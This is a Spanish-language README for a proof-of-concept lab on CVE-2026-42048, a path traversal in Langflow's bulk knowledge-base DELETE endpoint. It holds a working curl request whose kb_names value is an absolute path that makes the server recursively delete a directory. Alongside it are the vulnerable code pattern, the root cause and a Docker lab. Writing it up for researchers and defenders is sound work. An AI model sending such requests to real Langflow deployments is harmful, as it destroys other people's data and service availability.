
Langflow Eliminación Arbitraria de Directorios
PoC de CVE-2026-42048 Langflow Path Traversal / Eliminación Arbitraria de Directorios
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048: Vulnerabilidad de Eliminación Arbitraria de Directorios en Langflow
Descripción: una vulnerabilidad de path traversal en Langflow anterior a 1.9.0 permite a un atacante autenticado eliminar directorios fuera de la ruta de almacenamiento prevista de Knowledge Bases mediante el endpoint de eliminación masiva, DELETE /api/v1/knowledge_bases. El problema ocurre porque los valores kb_names controlados por el usuario se utilizan para construir rutas del sistema de archivos sin una normalización y validación de contención adecuadas.
Para una explotación exitosa se requieren las siguientes condiciones:
1.9.0.DELETE /api/v1/knowledge_bases
PR:L).kb_names del cuerpo de la solicitud.Esta vulnerabilidad no elude los permisos de archivos del sistema operativo. Abusa del manejo de rutas y de la lógica de eliminación propios de Langflow.
Construya y ejecute el entorno vulnerable usando Docker:
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
El laboratorio crea un directorio objetivo desechable en:
/target/CVE-2026-42048
El endpoint /status informa si ese directorio todavía existe.
python3 poc.py
Entrada interactiva:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
Si la explotación tiene éxito, target_exists cambia de true a false.
Endpoint vulnerable
DELETE /api/v1/knowledge_bases
La vulnerabilidad existe en la API de eliminación masiva de Knowledge Bases de Langflow. El controlador afectado acepta una lista de nombres de Knowledge Bases mediante el parámetro kb_names y utiliza cada valor para construir una ruta del sistema de archivos para la eliminación.
En las versiones vulnerables, la lógica de eliminación masiva construye la ruta manualmente en lugar de usar el ayudante de resolución de rutas más seguro que emplean otros endpoints de Knowledge Bases. Una representación simplificada del patrón vulnerable es:
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
El ayudante de eliminación finalmente elimina el directorio objetivo con lógica de eliminación recursiva. Debido a que kb_name está controlado por el atacante, secuencias de path traversal como ../ pueden escapar del directorio de Knowledge Bases del usuario actual. En pathlib de Python, una ruta absoluta proporcionada en el lado derecho también puede sobrescribir los componentes de ruta anteriores:
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
Como resultado, un valor kb_names manipulado puede hacer que Langflow elimine un directorio fuera de la raíz de almacenamiento prevista de Knowledge Bases, siempre que el proceso de Langflow tenga permiso para eliminar ese directorio.
Este es un problema CWE-22: Limitación Incorrecta de un Nombre de Ruta a un Directorio Restringido.
La causa raíz es una normalización insuficiente y una validación de límites deficiente de los componentes de ruta controlados por el usuario antes de la eliminación recursiva. El endpoint de eliminación masiva vulnerable comprueba si la ruta final existe, pero no garantiza que la ruta resuelta permanezca dentro del directorio de Knowledge Bases del usuario autenticado.
Una corrección sólida debe:
Path.resolve()Langflow corrigió este problema en 1.9.0.
La eliminación arbitraria de directorios puede afectar directamente la integridad y la disponibilidad. Dependiendo de los permisos de implementación y la disposición del sistema de archivos, un atacante podría:
Este problema no requiere ejecución arbitraria de código para ser dañino. La eliminación recursiva con privilegios de la aplicación es suficiente para dañar datos y disponibilidad.
+-------------------------------------------+
| Authenticated User |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow Knowledge Base API |
+-------------------------------------------+
|
| Unsafe path construction
v
+-------------------------------------------+
| Path Escapes Intended KB User Directory |
+-------------------------------------------+
|
| Recursive directory deletion
v
+-------------------------------------------+
| Arbitrary Directory Deletion |
+-------------------------------------------+
Este laboratorio expone un pequeño proxy de desafío en el puerto 9101. El proxy mantiene ocultos la interfaz completa de Langflow y el puerto directo del backend, mientras reenvía solo la ruta mínima de la API vulnerable necesaria para este ejercicio.
El directorio objetivo del laboratorio es:
/target/CVE-2026-42048
El endpoint /status se puede usar para confirmar que el directorio objetivo ha sido eliminado.
docker stop cve-2026-42048
Este repositorio no está destinado a facilitar la explotación no autorizada de instancias de Langflow. El propósito de este proyecto es ayudar a investigadores de seguridad, defensores y desarrolladores a comprender la vulnerabilidad, validar la exposición en entornos controlados y aplicar mitigaciones efectivas.